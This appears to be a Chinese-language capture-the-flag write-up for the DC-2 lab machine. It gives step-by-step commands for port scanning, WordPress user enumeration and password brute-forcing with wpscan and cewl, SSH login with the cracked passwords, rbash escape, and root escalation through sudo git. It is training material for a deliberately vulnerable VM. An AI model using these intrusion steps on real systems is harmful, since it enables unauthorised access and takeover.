-
nmap扫描开放网段
-
nmap扫描开放端口
1.80端口
这里第一次扫描 nmap -A 【IP】 只发现了80端口。但在这里可以看见80端口不可以查看,浏览器访问同样不能访问。
需要在hosts文件中添加,kali的housts文件在/etc/hosts vim 在文件中添加上 --> 【IP】 dc-2 ,保存退出。【注】一定是dc-2,不然不行 就可以访问该网址了。【注】在哪里修改housts,在那里访问该网址
找到flag1:
提示你需要一个更多的密码字典。
翻看页面,信息搜集,应该是使用wordpress模板,搜索无果
直接扫描IP其他页面
dirsearch -u http://dc-2/ -e * -x 404 403 //-e * 使用所有语言;-x 不返回的页面
2.登录页面爆破
扫描到登陆页面网址,进入,需要用户名和密码
(1)用户名
使用wpscan:
wpscan --url dc-2 -e u //爆破用户名
爆破出三个用户
创建用户名字典:
(2)密码
根据提示,使用curl生成密码字典
cewl http://dc-2/ -w zs.txt //zs.txt为自命名文件
查看该文件,可以发现生成密码成功
(3)开始爆破
wpscan --url dc-2 -U name.txt -P zs.txt //-u :一个用户名;-U :用户名字典;-p :一个密码;-P :密码字典
//--url :目标网址
爆破出jerry,tom的密码,使用这些用户和密码登录。
3.普通用户登录
登录jerry用户 Username: jerry, Password: adipiscing 翻看页面,发现flag2
提示我们去找另一个入口 尝试登陆tom用户 Username: tom, Password: parturient 没有发现有用信息
4.ssh
进一步扫描端口 nmap -A -p- 【IP】 发现新端口,开放ssh
尝试ssh登录,这里的端口是7744,使用刚刚爆破出来的两个用户名和密码。
直接ssh连接,报错22端口拒绝连接。因为ssh默认为22端口。这里需要指定7744端口
ssh tom@[目标IP] -p 7744
jerry账号连接失败但tom账号可以连接
连接的时候报错,原因是因为hosts文件中已经永久添加了dc-2,因为我刚刚是在kali中修改的hosts文件,现在把刚刚修改的删除就好
成功登录。
发现flag3文件,但查看时报错,没有权限,-rbash限制
上网查阅
5.rbash逃逸
先查看一下当前用户可用命令
echo $PATH //查看环境变量
echo /【刚刚查到的环境变量】/* //查看环境下可用命令
(1)使用vi(或vim)命令,设置shell
vi(或vim)进入编辑界面,写入
vi
:set shell=/bin/bash
:shell
再次查看可用命令,好像没什么变化
查看flag3,依然没有cat命令
可能是因为没有设置环境变量
export PATH=$PATH:/usr/bin/
export PATH=$PATH:/bin/
再次查看环境变量,有变化,但是还有无法使用cat,换另一种方法试试。
后来才发现,顺序错误,应该是先/usr/bin,再/bin
(2)利用bash_cmds自定义一个shell
BASH_CMDS[X]=/bin/bash
//这里同样要设置环境变量,同上
export PATH=$PATH:/usr/bin/
export PATH=$PATH:/bin/
拿到flag3
根据提示,应该su,也就是需要切换账户,还有另外一个账户:jerry 【此处su,切换账户,一定要在刚刚的环境下,否则不能使用su命令】,输入刚刚爆破出来的密码,进入jerry账户
此时还在tom的账户目录下,切换目录,直接查找
cd ../
ls
cd jerry
ls
cat flag4.txt
找到flag4,查看
6.提权
提示-git
一般来说最后一步都是需要提权
【1】SUID提权
find / -perm -u=s -type f 2>/dev/null //查找具有SUID权限的可执行二进制文件
这是其中一种方法,后续补充
没有find命令,尝试其他提权
其实可以使用su 切换到root,但我们不知道密码。
查找哪些能使用root权限
sudo -l
【2】git提权
-
方法一
sudo git help config //回车然后输入 !/bin/bash
-
方法二
sudo git -p help //回车然后输入 !/bin/bash
【这里是方法一】
提权成功找到最后一个flag,查看